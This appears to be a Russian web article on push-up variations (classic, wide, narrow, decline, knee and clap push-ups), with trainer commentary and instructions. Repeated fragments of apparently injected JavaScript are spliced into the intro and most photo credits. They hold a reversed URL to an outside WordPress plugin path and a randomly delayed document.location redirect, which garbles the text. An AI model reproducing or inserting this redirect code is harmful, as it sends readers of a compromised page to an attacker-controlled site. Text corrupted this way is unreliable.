Как располагать руки при отжимании? Что изменится, если расположить ноги на скамейке? fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru разобрался, как работают мышцы в разных видах отжиманий. Помогал нам мастер-тренер фитнес-клуба Escalada Сергей Котов.
Отжимание — одно из самых простых и одновременно самых эффективных упражнений со своим весом для развития силы. Во время стандартного отжимания работают:
- грудные, включая передние зубчатые мышцы,
- плечи,
- трицепсы,
- пресс.
У отжиманий есть множество вариаций, каждая из которых по-разному воздействует на мышцы. Мы рассмотрим основные виды отжиманий.
Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com
Сергей Котов
мастер-тренер фитнес-клуба Escalada
— Разные виды отжиманий отличаются интенсивностью и перераспределением нагрузки, а также особенностями работы определённых мышечных групп. Например, в классическом отжимании работает преимущественно низ грудных мышц, а также нагружается длинная и латеральная головки трицепса. Последняя получает сверхнагрузку.
Классические отжимания
Какие мышцы получают большую нагрузку: грудные и трицепс.
Как делать:
- Исходное положение — классическая планка, таз подтянут, шея прямая, ладони строго под плечами.
- Зафиксируйте корпус и начните опускать тело только за счёт сгибания рук до тех пор, пока грудью не коснётесь пола. Локти смотрят назад.
- Выпрямите руки и вернитесь в исходную позицию.
- Выполните максимальное для себя количество повторений.
Отжимания с широкой постановкой рук
Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com
Отличаются от классических отжиманий тем, что руки ставятся шире. Такой вариант упражнения нагружает грудь и плечи.
Сергей Котов
мастер-тренер фитнес-клуба Escalada
— В этом варианте нагрузка на мышцы груди в сравнении с классическими отжиманиями не возрастает, зато сильно усложняется работа передней дельтовидной мышцы. Новичкам я бы этот вид не рекомендовал.
Какие мышцы получают большую нагрузку: грудные и плечи.
Как делать:
- Исходное положение — классическая планка, таз подтянут, шея прямая, руки шире плеч.
- Зафиксируйте корпус и начните опускать тело только за счёт сгибания рук до тех пор, пока грудью не коснётесь пола.
- Выпрямите руки и вернитесь в исходную позицию.
- Выполните максимальное для себя количество повторений.
Отжимания с узкой постановкой рук
Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com
Здесь нужно ставить руки ближе друг к другу, чем в классическом варианте.
Сергей Котов
мастер-тренер фитнес-клуба Escalada
— Такой вариант преимущественно нагружает верх грудных мышц. Кроме того, активно участвует в работе подлопаточная мышца, стабилизирующая движение, а также передний пучок дельтовидной. Благодаря повышенной амплитуде движения локтей активно работает трицепс.
Какие мышцы получают большую нагрузку: грудные и трицепс.
Как делать:
- Исходное положение — классическая планка, таз подтянут, шея прямая, руки близко друг к другу, уже плеч.
- Зафиксируйте корпус и начните опускать тело только за счёт сгибания рук до тех пор, пока грудью не коснётесь пола. Локти смотрят назад, руки близко к телу.
- Выпрямите руки и вернитесь в исходную позицию.
- Выполните максимальное для себя количество повторений.
Негативные отжимания
Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com
Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com
Вариант для тех, кому обычные отжимания уже не кажутся сложными. Поставьте ноги на скамью — вы почувствуете, насколько сложнее станет опускать тело.
Сергей Котов
мастер-тренер фитнес-клуба Escalada
— Чем выше ноги относительно пола, тем труднее выполнять упражнение. Интенсивность возрастает. Чем выше ноги, тем меньше нагружаются грудные мышцы и больше мышцы плеч.
Какие мышцы получают большую нагрузку: верх грудных и плечи.
- Исходное положение — планка, таз подтянут, шея прямая, руки строго под плечами, ноги на скамье или коробке.
- Зафиксируйте корпус и начните опускать тело только за счёт сгибания рук до тех пор, пока грудью не коснётесь пола. Локти смотрят назад.
- Выпрямите руки и вернитесь в исходную позицию.
- Выполните максимальное для себя количество повторений.
Отжимания с колен
Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com
Тем, кто пока недостаточно силён, чтобы делать отжимания от пола, подойдёт вариант попроще — с опорой на колени.
Сергей Котов
мастер-тренер фитнес-клуба Escalada
— Упор на колени облегчает выполнение отжиманий и снижает интенсивность нагрузки, а также смещает нагрузку на нижнюю часть грудных мышц.
Какие мышцы получают большую нагрузку: грудные.
Как делать:
- Исходное положение — стоя на четвереньках, шея прямая.
- Переступите руками вперёд до образования прямой линии тела от плеч к коленям. Ладони строго под плечами, смотрят вперёд, руки прямые.
- Зафиксируйте корпус и начните опускать тело только за счёт сгибания рук до тех пор, пока плечи не станут параллельны полу. Локти смотрят назад.
- Выпрямите руки.
- Выполните максимальное для себя количество повторений.
Отжимания с хлопком
Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com
Усложнённый вариант для продвинутых атлетов.
Сергей Котов
мастер-тренер фитнес-клуба Escalada
— Хорошая тренировка скоростных и силовых качеств (взрывной силы) мышц плечевого пояса, груди, плеч и рук. Мышцы работают так же, как и в классическом варианте, но за счёт быстрого движения они сокращаются максимально, передавая импульс от рук к плечам. Это развивает реакцию. Но этот вид упражнения я не рекомендую выполнять людям, которые плохо отжимаются.
Какие мышцы получают большую нагрузку: грудные, мышцы плеч и рук.
Как делать:
- Исходное положение — классическая планка, таз подтянут, шея прямая, руки строго под плечами, ноги на скамье или коробке.
- Зафиксируйте корпус и начните опускать тело только за счёт сгибания рук до тех пор, пока грудью не коснётесь пола. Локти смотрят назад.
- Выпрямите руки и оттолкнитесь от пола. Если получится оттолкнуться довольно высоко, выполните хлопок, находясь в самой высокой точке.
- Вернитесь в исходное положение.
- Выполните максимальное для себя количество повторений.
Статьи по теме
Как сделать идеальное отжимание
Почему болят плечи и запястья во время отжиманий и планки
Гид по подтягиваниям: какие мышцы работают при разных видах хвата
Что произойдёт, если вы будете отжиматься каждый день
